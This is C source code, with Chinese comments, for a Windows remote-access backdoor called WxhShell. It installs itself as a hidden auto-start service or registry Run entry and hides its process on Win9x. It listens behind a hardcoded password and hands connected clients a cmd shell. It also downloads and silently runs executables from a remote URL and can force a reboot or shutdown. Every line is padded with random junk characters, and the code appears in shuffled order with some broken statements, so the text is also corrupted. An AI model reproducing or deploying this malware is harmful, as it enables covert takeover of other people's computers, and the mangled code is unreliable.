    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DL!%Np?`  
    if(Boot(SHUTDOWN)) 2' ^7G@%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K,%CE ].  
    else { d2-oy5cEB  
    closesocket(wsh); lmL$0{Yr  
    ExitThread(0); W}MN-0  
    } ?A*!rW:l;  
    break; G'(rjH>q  
    } ,w BfGpVb  
  // 获取shell ?#z<<FR  
  case 's': { ._`rh  
    CmdShell(wsh); &oy')\H  
    closesocket(wsh); W7!iYxO  
    ExitThread(0); w1aoEo"S  
    break; g%!U7CM6h  
  } fBv: TC%  
  // 退出 [ K'gvLt1  
  case 'x': { k6RVP: V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P+OS  
    CloseIt(wsh); ^w<aS w  
    break; L/] (pXEp  
    } X ,^([$  
  // 离开 P t/]Z<VL  
  case 'q': { lI.oyR'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DX+zK'34  
    closesocket(wsh); K :~tZ  
    WSACleanup(); mZPvG  
    exit(1); j0a=v}j3  
    break; a }*i [  
        } rPGj+wL5-  
  } /@\R  
  } DZ\K7-  
N@}h  
  // 提示信息 ?2dI8bG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YhS_ ,3E  
} c< MF:|(}  
  } =+ >>l0=_v  
@h!Z0}d X(  
  return; ,c{ckm  
} ?h%Jb^#9  
150-'Q  
// shell模块句柄 N fG9a~  
int CmdShell(SOCKET sock) $uyx  
{ '=#fELMW  
STARTUPINFO si; U"+W)rUd  
ZeroMemory(&si,sizeof(si)); G :k'm^k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6pbCQ q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,uPcQ  
PROCESS_INFORMATION ProcessInfo; $j<KXR  
char cmdline[]="cmd"; voN~f>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UXJblo#  
  return 0; [wnp]'+!  
} #9!7-!4pW  
: MjDcI~  
// 自身启动模式 {+E]c:{  
int StartFromService(void) JTm'fo[  
{ c"Vp5lo0  
typedef struct Ro"'f7(v.  
{ PoPR34] ^J  
  DWORD ExitStatus; LbRQjwc]W  
  DWORD PebBaseAddress;  HG?+b  
  DWORD AffinityMask; Fs%`W4/  
  DWORD BasePriority; ?6`B;_m  
  ULONG UniqueProcessId; *vuI'EbM  
  ULONG InheritedFromUniqueProcessId; 1PUZB`"3  
}   PROCESS_BASIC_INFORMATION; ,qv\Y]  
L~Peerby  
PROCNTQSIP NtQueryInformationProcess; /w(g:e  
{tY1$}R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kmc"`Ogotw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "#E<Leh'  
<<A#4!f  
  HANDLE             hProcess; n-l_PhPQ`  
  PROCESS_BASIC_INFORMATION pbi; CW?Z\  
h@G~' \8t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LSJ.pBl\X  
  if(NULL == hInst ) return 0; tO:JB&vO2  
c$7~EP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gK({InOP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KU9FHN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }YFM4 0H  
Mh5> hD  
  if (!NtQueryInformationProcess) return 0; Q [rZ1z  
51Y%"v t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2HN*j~>i~  
  if(!hProcess) return 0; Bps%>P~.  
'g,h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hxgc9Fis  
BO G.[?yx  
  CloseHandle(hProcess); _avf%OS  
|. 0~'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _O uNX.yrG  
if(hProcess==NULL) return 0; M.- {->  
?dCwo;~  
HMODULE hMod; 4dPTrBQ?  
char procName[255]; d9;&Y?fp  
unsigned long cbNeeded; &|#[.ti1  
B#jnM~fJz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nv@z;#&  
|`#fX(=  
  CloseHandle(hProcess); E(|A"=\  
# 5)/B  
if(strstr(procName,"services")) return 1; // 以服务启动 v>B412l  
__.MS6"N  
  return 0; // 注册表启动 f?)7MR=  
} 8TeOh 1\  
,mp<<%{u  
// 主模块 /[FDiJH2  
int StartWxhshell(LPSTR lpCmdLine) Zdqm|_R[  
{ *kFd#b+xB  
  SOCKET wsl; aPEI_P+Ls  
BOOL val=TRUE; )c' 45 bD  
  int port=0; ?1JY6v]h4  
  struct sockaddr_in door; ^?+[yvq  
P{6$".kIY  
  if(wscfg.ws_autoins) Install(); jL"V0M]c  
'!7>*<  
port=atoi(lpCmdLine); '%[ Y  
goIv m:?  
if(port<=0) port=wscfg.ws_port; ~. vridH  
{&IB[Y6  
  WSADATA data; ;98b SR/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o&E8<e  
eb\SpdM6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S7f.^8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y_:jc{?  
  door.sin_family = AF_INET; b3E1S+\=~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .c+U=bV-  
  door.sin_port = htons(port); <7\j\`  
i3N{Dt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3u/JcU-<  
closesocket(wsl); $e7%>*?m  
return 1; BKg8p]`+  
} .s*N1 U?h  
F8?2+w@P  
  if(listen(wsl,2) == INVALID_SOCKET) { '@.6Rd 8  
closesocket(wsl); bt)C+|i  
return 1; U+x^!{[/  
} ,X^3.ILz  
  Wxhshell(wsl); 8O'bCBhv  
  WSACleanup(); >80k5$t  
: x&R'wX-  
return 0; Gc`PO  
H@ 1'El\9  
} $kTm"I  
x:MwM?  
// 以NT服务方式启动 s"=TM$Vb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8c)GUx  
{ nD BWm`kN  
DWORD   status = 0; t[`LG)  
  DWORD   specificError = 0xfffffff; Gg'!(]v  
.T9$O]:o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @Z ==B%`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mufGv%U2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o{,I O!q  
  serviceStatus.dwWin32ExitCode     = 0; A4,{ep'Z!  
  serviceStatus.dwServiceSpecificExitCode = 0; *gwlW/%Fz  
  serviceStatus.dwCheckPoint       = 0; 9AVj/?kmU  
  serviceStatus.dwWaitHint       = 0; MrHJ)x"hy  
Pl:4`oY3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M=Ze)X\E*'  
  if (hServiceStatusHandle==0) return; DlUKhbo$g  
Q`9c/vPU  
status = GetLastError(); =SLG N`m3  
  if (status!=NO_ERROR) '/u|32  
{ #MA6eE'R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sWr;%<K  
    serviceStatus.dwCheckPoint       = 0; p6<JpW5@_  
    serviceStatus.dwWaitHint       = 0; (NLw#)?  
    serviceStatus.dwWin32ExitCode     = status; D;0>-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,yGbMOV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YQN:&Cls  
    return; E,6|-V;?  
  } $M)i]ekm  
_,L_H[FN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &6vaLx  
  serviceStatus.dwCheckPoint       = 0; [WR"#y  
  serviceStatus.dwWaitHint       = 0; toPbFU'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7?whxi Qs  
} -4Hb]#*2  
Q0R05*  
// 处理NT服务事件,比如:启动、停止 =l43RawAmu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a -Pz<*  
{ -13}]Gls7Q  
switch(fdwControl) 9-T<gYl  
{ >XgJo7u  
case SERVICE_CONTROL_STOP: Pb'(Y  
  serviceStatus.dwWin32ExitCode = 0; x;7l>uR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qf( A  
  serviceStatus.dwCheckPoint   = 0; T5u71C_wmt  
  serviceStatus.dwWaitHint     = 0; 1- s(v)cxh  
  { 66pjWS {X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pjs=n7  
  } (SRY(q  
  return; >;MJm  
case SERVICE_CONTROL_PAUSE: Q<V(#)*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 61H_o7XXk  
  break; Xb%Q%"?~  
case SERVICE_CONTROL_CONTINUE: vWoppt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /*y5W-'d^  
  break; Q[#}Oh6$  
case SERVICE_CONTROL_INTERROGATE: ?0t^7HMP  
  break; L=#NUNiXr  
}; zfKO)Itd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } e$  
} H\Qk U`b  
W\zZ&*8$  
// 标准应用程序主函数 J~5V7B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S9l,P-X`  
{ 0vj CSU-X  
wvq4 P  
// 获取操作系统版本 +XsE  
OsIsNt=GetOsVer(); YYn8!FIe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &NBH'Rt  
VH]}{i"`  
  // 从命令行安装 yIKpyyC9H  
  if(strpbrk(lpCmdLine,"iI")) Install(); _!o8s%9be  
$!*>5".A  
  // 下载执行文件 !0@4*>n  
if(wscfg.ws_downexe) { &qS%~h%2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =Mx"+/Yo*  
  WinExec(wscfg.ws_filenam,SW_HIDE); m*]`/:/X[  
} i=#`7pt%'a  
$b|LZE\bU.  
if(!OsIsNt) { + kMj|()>\  
// 如果时win9x,隐藏进程并且设置为注册表启动 :u,.(INB  
HideProc(); C}) Dvh  
StartWxhshell(lpCmdLine); Vq+7 /+2"  
} R)66qRf  
else *eoH"UFYQ#  
  if(StartFromService()) d/9YtG%q  
  // 以服务方式启动 m&gd<rt/  
  StartServiceCtrlDispatcher(DispatchTable); 3l<qcKKc  
else ?\8aT"o  
  // 普通方式启动 P_5aHeiJ  
  StartWxhshell(lpCmdLine); qhY+<S9  
wL8j i>"  
return 0; $L= Dky7  
} /7D5I\  
.JLJ(WM  
fc3nQp7  
3l?|+sU >O  
=========================================== 1]:,Xa+|S  
[gBf1,bK  
2%WeB/)9  
|,,#DSe  
gttsxOgktH  
h,Hr0^?  
" ,}IcQu'O  
f`Fj-<v  
#include <stdio.h> Acw`ytV  
#include <string.h> u9@B&  
#include <windows.h> {*O%A  
#include <winsock2.h> 0FcDO5ia  
#include <winsvc.h> vSnVq>-q&  
#include <urlmon.h> CBd%}il  
&tZIWV1&  
#pragma comment (lib, "Ws2_32.lib") v<v;ZR)  
#pragma comment (lib, "urlmon.lib") Nx.9)MjI  
Nl YFS?5  
#define MAX_USER   100 // 最大客户端连接数 *:H,-@  
#define BUF_SOCK   200 // sock buffer jz<}9Kze  
#define KEY_BUFF   255 // 输入 buffer .rk5u4yK  
s8,YQ5-  
#define REBOOT     0   // 重启 o)5zvnu7  
#define SHUTDOWN   1   // 关机 twr{jdY9  
v,}C~L3  
#define DEF_PORT   5000 // 监听端口 n0l|7:Mk  
?sQg{1"Zr  
#define REG_LEN     16   // 注册表键长度 nZB ~l=  
#define SVC_LEN     80   // NT服务名长度 gg#9I(pX  
Ll=G+cw6P  
// 从dll定义API W~mo*EJ'^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q#3T L<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %J1'>nI!q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); # QwX|x{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6c]4(%8  
@;eH~3P  
// wxhshell配置信息 h/tCve3Z  
struct WSCFG {  G06;x   
  int ws_port;         // 监听端口 F\N0<o  
  char ws_passstr[REG_LEN]; // 口令 7#C$}1XJ1  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2B$dT=G  
  char ws_regname[REG_LEN]; // 注册表键名 }SWfP5D@  
  char ws_svcname[REG_LEN]; // 服务名 9!jF$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I+ |uyc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %EU_OS(u.{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F8?,}5j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f0 g/`j@Up  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n@+?tYk*e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .eIs$  
IB# ua:  
}; "m^gCN}c  
qe&|6M!  
// default Wxhshell configuration ynA_Z^j  
struct WSCFG wscfg={DEF_PORT, 75;RAKGi  
    "xuhuanlingzhe", Xd:{.AXW  
    1, i{EQjZ  
    "Wxhshell", ]@9W19=P!P  
    "Wxhshell", A]m*~Vj]  
            "WxhShell Service", Cl3vp_  
    "Wrsky Windows CmdShell Service", YMu#<ZG  
    "Please Input Your Password: ", "&SE!3*m`I  
  1, vx?KenO}  
  "http://www.wrsky.com/wxhshell.exe", AT I=&O`  
  "Wxhshell.exe" UhW{KIW  
    }; KOe]JDU  
Kv* 1=HES  
// 消息定义模块 ;cf$u}+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (KC08  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fwt+$`n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?jMM@O`Nu  
char *msg_ws_ext="\n\rExit."; !7\dr )  
char *msg_ws_end="\n\rQuit."; 9)+!*(D  
char *msg_ws_boot="\n\rReboot..."; @VP/kut  
char *msg_ws_poff="\n\rShutdown..."; di_UJ~  
char *msg_ws_down="\n\rSave to "; fZf>>mu@r'  
LNJKf6:  
char *msg_ws_err="\n\rErr!"; huv|l6   
char *msg_ws_ok="\n\rOK!"; a"P & 9c  
e/Z{{FP%6  
char ExeFile[MAX_PATH]; 6?}|@y^fb  
int nUser = 0; ,2!7iX  
HANDLE handles[MAX_USER]; mIf)=RW  
int OsIsNt; BsXF'x<U*  
P4"BX*x  
SERVICE_STATUS       serviceStatus; ij] ~n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9HR1m 3  
;s,1/ kA  
// 函数声明 HAE$Np|>a  
int Install(void); G0: <#?<5  
int Uninstall(void); w@2NXcmw  
int DownloadFile(char *sURL, SOCKET wsh); !N+{X\+  
int Boot(int flag); MMjewGxe  
void HideProc(void); ):G+*3yb  
int GetOsVer(void); /|U;_F Pmc  
int Wxhshell(SOCKET wsl); +xIVlH9`Q  
void TalkWithClient(void *cs); 2 Ax(q&`9  
int CmdShell(SOCKET sock); dKPXs-5  
int StartFromService(void); ]NaH *\q  
int StartWxhshell(LPSTR lpCmdLine); SLP $|E;  
Wp = ]YO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z5rL.a&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^'N!k{x  
|7|'J Ty  
// 数据结构和表定义 rk=w~IZJ3  
SERVICE_TABLE_ENTRY DispatchTable[] = dW/(#KP/+  
{ )%Xp?H_  
{wscfg.ws_svcname, NTServiceMain}, _@\-`>J  
{NULL, NULL} 9r\p4_V  
}; @&HLm^j2O  
zfUj%N  
// 自我安装 |C./gdq  
int Install(void) 7h/Mkim$5  
{ |LIcq0Z  
  char svExeFile[MAX_PATH]; umPN=0u6  
  HKEY key; nUq@`G  
  strcpy(svExeFile,ExeFile); 1h(n}u  
'O~_g5kC  
// 如果是win9x系统,修改注册表设为自启动 De$Ic"Z9L  
if(!OsIsNt) { M Ir[_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xl$r720ZJr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E\4ZUGy0  
  RegCloseKey(key); ~]%re9jGW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rr1,Ijh{D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F'<XB~ &o  
  RegCloseKey(key); 7zQGuGo(  
  return 0; l66 QgPA  
    } /FTP8XHwL)  
  } (Ms #)E  
} ?aaYka]  
else { ]S(nA!]  
MYJDfI  
// 如果是NT以上系统,安装为系统服务 hHEn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \o,et9zDJ3  
if (schSCManager!=0) R90chl   
{ p*$=EomY  
  SC_HANDLE schService = CreateService Rwj 3o  
  ( 1N]-WCxQ  
  schSCManager, \ Ho VS  
  wscfg.ws_svcname, ~E DO< O>3  
  wscfg.ws_svcdisp, `aMnTF5:  
  SERVICE_ALL_ACCESS, 9@ h-q(-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V?MaI .gj  
  SERVICE_AUTO_START, 0^P9)<k'  
  SERVICE_ERROR_NORMAL, A@.ruG$  
  svExeFile, ?)qm=mebY  
  NULL, 0a?[@ -Sz  
  NULL, *Q -uE  
  NULL, vO zUAi  
  NULL, g$=']A?W_  
  NULL jxw8jo06:  
  ); 4[r:DM|8  
  if (schService!=0) bA"*^"^  
  { 7'.6/U  
  CloseServiceHandle(schService); #)DDQ?D  
  CloseServiceHandle(schSCManager); ayf;'1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q|B.@Ng.  
  strcat(svExeFile,wscfg.ws_svcname); ?6[u\V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _}H`(d%N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !M6Km(>  
  RegCloseKey(key); yaC_r-%U&  
  return 0; d8jP@>  
    } j}%C;;MPH  
  } c@O7,y:`I  
  CloseServiceHandle(schSCManager); O[}2  
} >\Iy <M  
} Em<J{`k6  
5n2}|V$VqP  
return 1; BYI13jMH+Y  
} _A$V~Hp9q  
{y!77>Q/  
// 自我卸载 rj eKG-Z@  
int Uninstall(void) .GDY J9vi  
{ DQ6pe)E|  
  HKEY key; ltl(S Ii  
=5p?4/4 J  
if(!OsIsNt) { <~5$<L4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Bn]-o|r  
  RegDeleteValue(key,wscfg.ws_regname); o[G,~f\-  
  RegCloseKey(key); nza^<DlS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _l]rt  
  RegDeleteValue(key,wscfg.ws_regname); wqn }t]  
  RegCloseKey(key); wGpw+O  
  return 0; y?s#pSX;N  
  } l0wvWv*k  
} f;W>:`'  
} BjUz"69  
else { y-7$HWn  
ps]s Tw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J}&xS<  
if (schSCManager!=0) 8+~|!)a  
{ ZnB|vfL?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m}-~VYDj  
  if (schService!=0) p~u11rH  
  { ~u80v h'  
  if(DeleteService(schService)!=0) { [~rBnzb  
  CloseServiceHandle(schService); @|o^]-,  
  CloseServiceHandle(schSCManager); '"Dgov$q  
  return 0; dLu3C-.(  
  } 6EX8,4c\  
  CloseServiceHandle(schService); | )R{(AK-  
  } I^y,@EHR  
  CloseServiceHandle(schSCManager); Gm LKg >%  
} WXE{uGc  
} !eB&3J  
Zh.9j7 >p  
return 1; x42m+5/  
} .SSj=q4?  
@y\M8C8  
// 从指定url下载文件 J3=^ +/g  
int DownloadFile(char *sURL, SOCKET wsh) .zyi'Kj  
{ y>m=A41:g  
  HRESULT hr; XS"lR |  
char seps[]= "/"; 9L xa?Y1  
char *token; 9k!#5_ M  
char *file; (A8X|Y  
char myURL[MAX_PATH]; d\aU rsPn  
char myFILE[MAX_PATH]; !xh.S#B  
V,Br|r$l(  
strcpy(myURL,sURL); 2f@gR9T  
  token=strtok(myURL,seps); JS1''^G&.  
  while(token!=NULL) [VwoZX:  
  { ,a,coeL  
    file=token; f qU*y 6]  
  token=strtok(NULL,seps); i(XqoR-x  
  } \XlT  
}Pe0zx.Ge  
GetCurrentDirectory(MAX_PATH,myFILE); {oN7I'>  
strcat(myFILE, "\\"); hGvuA9d~  
strcat(myFILE, file); }M9L,O*^   
  send(wsh,myFILE,strlen(myFILE),0); {e8.E<f-  
send(wsh,"...",3,0); +3D3[.n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9y"*H2$#  
  if(hr==S_OK) 7w{>bYP  
return 0; PYz^9Ud 6g  
else ra k@oW]  
return 1; kC)ye"r  
VDq?,4Kb  
} 7*r7Q'  
vL7 JzSU_  
// 系统电源模块 LHz-/0 [  
int Boot(int flag) HGpj(U:`c  
{ }@:vq8%Q  
  HANDLE hToken; q\g|K3V)  
  TOKEN_PRIVILEGES tkp; <ibEo98  
0X3kVm <  
  if(OsIsNt) { [MKL>\U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m[FH>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Cuq=>J  
    tkp.PrivilegeCount = 1; ?F9:rUyN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @9^ozgg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~vIQ-|8r:  
if(flag==REBOOT) { (1(dL_?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3Vl?;~ :5  
  return 0; Q<V?rPAcx  
}  *w538Vb  
else { V '4sOn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q}M% \v  
  return 0; r0)X]l7  
} \j]i"LpWb  
  } }?=$?3W  
  else { .* xaI+:  
if(flag==REBOOT) { -&* 4~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SablF2doa  
  return 0; BVX6  
} C-abc+/  
else { ;X ]+r$_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dk9'C  
  return 0; }Q?, O  
} lXS.,#lp  
} X rVF %  
J]A!>|Ic  
return 1; -Fe) )Y'=  
} 2R2ws.}  
E hROd  
// win9x进程隐藏模块 r_f?H@v  
void HideProc(void) `r:n[N=Y&  
{ {f\/2k3  
kqfO3{-;{:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [wJM=` !W  
  if ( hKernel != NULL ) f\}fUg 2  
  { $]eITyC`P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gvk)H$ni  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QQUYWC  
    FreeLibrary(hKernel); V(|@6ww  
  } ^-9g_5  
lU0'5!3R,  
return; w NlC2is  
} mjDaus59  
|?=K'[ 5  
// 获取操作系统版本 0wCJNXm  
int GetOsVer(void) -rSp gk0wL  
{ r(W=1e'  
  OSVERSIONINFO winfo; h|tdK;)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F(J6 XnQ  
  GetVersionEx(&winfo); 0L_ JP9e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O9#8%p% )  
  return 1; _s/ 5oRHA  
  else v&p|9C@  
  return 0; x roo_  
} `;yfSoY  
;N4A9/)  
// 客户端句柄模块 iX]Vkx  
int Wxhshell(SOCKET wsl) A~_*vcz  
{ Nv@SpV'  
  SOCKET wsh; ]3xb Q1  
  struct sockaddr_in client; (*>%^C?  
  DWORD myID; a7+w)]r  
G=R`O1-3  
  while(nUser<MAX_USER) ~ [ k0ay  
{ 88]V6Rm9[*  
  int nSize=sizeof(client); gJEm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J3OxM--8"  
  if(wsh==INVALID_SOCKET) return 1; 1&JPyW  
eM";P/XaX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B8){  
if(handles[nUser]==0) @kCFc}  
  closesocket(wsh); 5hN`}Ve  
else RjC3wO::  
  nUser++; +>b~nK>M  
  } DlHt#Ob7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [ZC{eg+D  
i^9,.$<1  
  return 0; =]k0*\PS  
} ),ur! v  
cn62:p]5  
// 关闭 socket m5c?A+@fZ  
void CloseIt(SOCKET wsh) % ~eIx=s  
{ tI42]:z  
closesocket(wsh); -? _#Yttu  
nUser--; AI{Tw>hZ  
ExitThread(0); ;m<22@,E&  
} -][~_Hd{  
SvZ~xTit  
// 客户端请求句柄 ^O#>LbM"x  
void TalkWithClient(void *cs) y:t@X~  
{ N~rA/B]T  
0!<qfT a  
  SOCKET wsh=(SOCKET)cs; TR;"&'#k  
  char pwd[SVC_LEN]; N`3q54_$  
  char cmd[KEY_BUFF]; }HB>Zb5  
char chr[1]; 3q'["SS  
int i,j; 0_F6t-  
b.mcP@  
  while (nUser < MAX_USER) { 87; E#2  
T?vM\o%i3  
if(wscfg.ws_passstr) { us j:I`>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -|0nZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B bU%p  
  //ZeroMemory(pwd,KEY_BUFF); b`a4SfbQS  
      i=0; @|AHTf!  
  while(i<SVC_LEN) { -BQoNEh  
Rcg q7W  
  // 设置超时 "Y%fk/v8  
  fd_set FdRead; '%Cc!63t*  
  struct timeval TimeOut; :1>h,NKC>  
  FD_ZERO(&FdRead); ;a"g<v  
  FD_SET(wsh,&FdRead); H( L.k;B  
  TimeOut.tv_sec=8; ?4k/V6n@y  
  TimeOut.tv_usec=0; .|\}] O`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qt-7jmZw1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /e/%mo  
_}bs0 kIz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  cs+;ijp  
  pwd=chr[0]; b |SDg%e  
  if(chr[0]==0xd || chr[0]==0xa) { 5;WESk  
  pwd=0; s fD@lW3  
  break; S vTd#>ke  
  } #mT\B[4h  
  i++; .r ,wc*SF  
    } Pz\4#E]  
(G1KMy  
  // 如果是非法用户,关闭 socket 8jBrD1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @:,B /B;  
} f.yvKi.Cm  
k^VL{z:EWB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,> Ya%;h2k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zR@4Z>6   
azhilUD8  
while(1) { v11Uw?CM  
~F [V  
  ZeroMemory(cmd,KEY_BUFF); %C[#:>'+  
RSfB9)3D  
      // 自动支持客户端 telnet标准   Z "mqH  
  j=0; 6!39t  
  while(j<KEY_BUFF) { NUO#[7OK+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CvOji 1  
  cmd[j]=chr[0]; 0r_3:#Nn  
  if(chr[0]==0xa || chr[0]==0xd) { (YV]T!q  
  cmd[j]=0; qjr:(x/  
  break; scc+r  
  } 84f(BE  
  j++; d/"%fpp^0G  
    } 7sX#6`t  
CMhl*dH  
  // 下载文件 6o:b(v&Oo  
  if(strstr(cmd,"http://")) { $?Km3N\?v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fA$2jbGW  
  if(DownloadFile(cmd,wsh)) ahh&h1q7|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3<XP/c";  
  else b6%[?k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vRhI:E)So#  
  } V7 OhOLK8  
  else { :$=]*54`T  
+ *W%4e  
